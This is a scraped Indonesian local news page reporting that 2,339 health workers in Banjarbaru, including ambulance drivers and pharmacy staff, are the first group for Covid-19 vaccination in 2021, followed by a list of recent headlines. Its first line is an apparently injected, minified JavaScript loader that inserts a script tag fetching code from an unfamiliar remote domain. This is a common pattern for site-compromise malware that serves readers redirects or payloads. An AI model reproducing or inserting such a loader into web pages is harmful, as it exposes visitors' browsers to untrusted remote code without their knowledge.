(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

2.339 Nakes dari Sopir Ambulans hingga Apoteker Kelompok Pertama Vaksinasi di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan vaksinasi Covid-19 di Provinsi Kalimantan Selatan (Kalsel) terus digodok kesiapannya. Tahapan pertama yang dijadwalkan pada Januari ini, akan dilaksanakan di 13 kabupaten kota, termasuk di Kota Banjarbaru.

Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Kesehatan (Dinkes) menjadwalkan pelaksanaan vaksinasi akan berlangsung sampai pada akhir tahun 2021.

Kepala Dinkes Banjarbaru Rizana Mirza mengungkapkan bahwa untuk tahap pertama penyuntikan vaksin di Banjarbaru, diprioritaskan bagi sumber daya kesehatan. Merujuk tak hanya kalangan dokter dan perawat, melainkan seluruh pegawai yang terlibat di bidang kesehatan.

“Artinya, baik itu pegawai apotek hingga sopir ambulans, termasuk menjadi kelompok pertama yang disuntik vaksin. Mereka menjadi sasaran prioritas utama kita,” katanya.

 

Rizana mengklaim bahwa pihaknya telah melakukan pendataan dan verifikasi ihwal jumlah sumber daya kesehatan yang ada di wilayah Banjarbaru. Jumlahnya, mencapai ribuan orang.

“Total yang sudah terdata ada 2.339 orang. Untuk pemberian vaksin terhadap kelompok sumber daya kesehatan di Banjarbaru, prosesnya berlangsung dari Januari sampai Maret,” beber Kepala Dinkes Banjarbaru.

Kemudian, vaksinasi dilanjutkan terhadap para tenaga pegawai pelayanan masyarakat. Misalnya, TNI, Polri, hingga pegawai negeri sipil (PNS). Lalu, berakhirnya pada tahapan penyuntikan vaksin bagi masyarakat umum.

“Seluruh tahapan vaksinasi terhadap pegawai tenaga layanan dan masyarakat umum, berlangsung dari April sampai akhir tahun 2021. Untuk data jumlah penerimanya bukan kita yang mengelola, melainkan pihak BPJS,” tambah Rizana.

Lantas, bagaiamana masyarakat Banjarbaru bisa mengetahui jadwal penyuntikan vaksin? Dalam hal ini, Rizana menuturkan jika nantinya ada pemberitahuan melalui media komunikasi oleh pihak BPJS.

“Ya, BPJS akan memberitahukannya melalui SMS atau sarana komunikasi lainnya. Jadi kedepannya masyarakat bersabar saja dulu. Melalui SMS itu, setiap masyarakat diberitahukan lokasi, tanggal, dan jam penyuntikan vaksin,” ujarnya.

Dinkes sendiri telah menyiapkan sedikitnya 22 fasilitas layanan kesehatan sebagai tempat penyuntikan vaksin di wilayah Banjarbaru. Terdiri dari 10 Puskesmas, dan sisanya ialah klinik, rimah sakit milik pemerintah maupun milik swasta.

“Vaksinasi ini hanya salah satu upaya kita dalam menekan angka kesakitan dan kematian akibat virus corona. Saya ingatkan kepada seluruh masyarakat untuk tetap menjalankan protokol kesehatan,” tandas Rizana.(kanalkalimatan.com/rico)

Reporter : Rico
Editor : Bie

 


Al Ghifari

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

3 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

3 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

3 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

5 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

6 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

7 jam ago

This website uses cookies.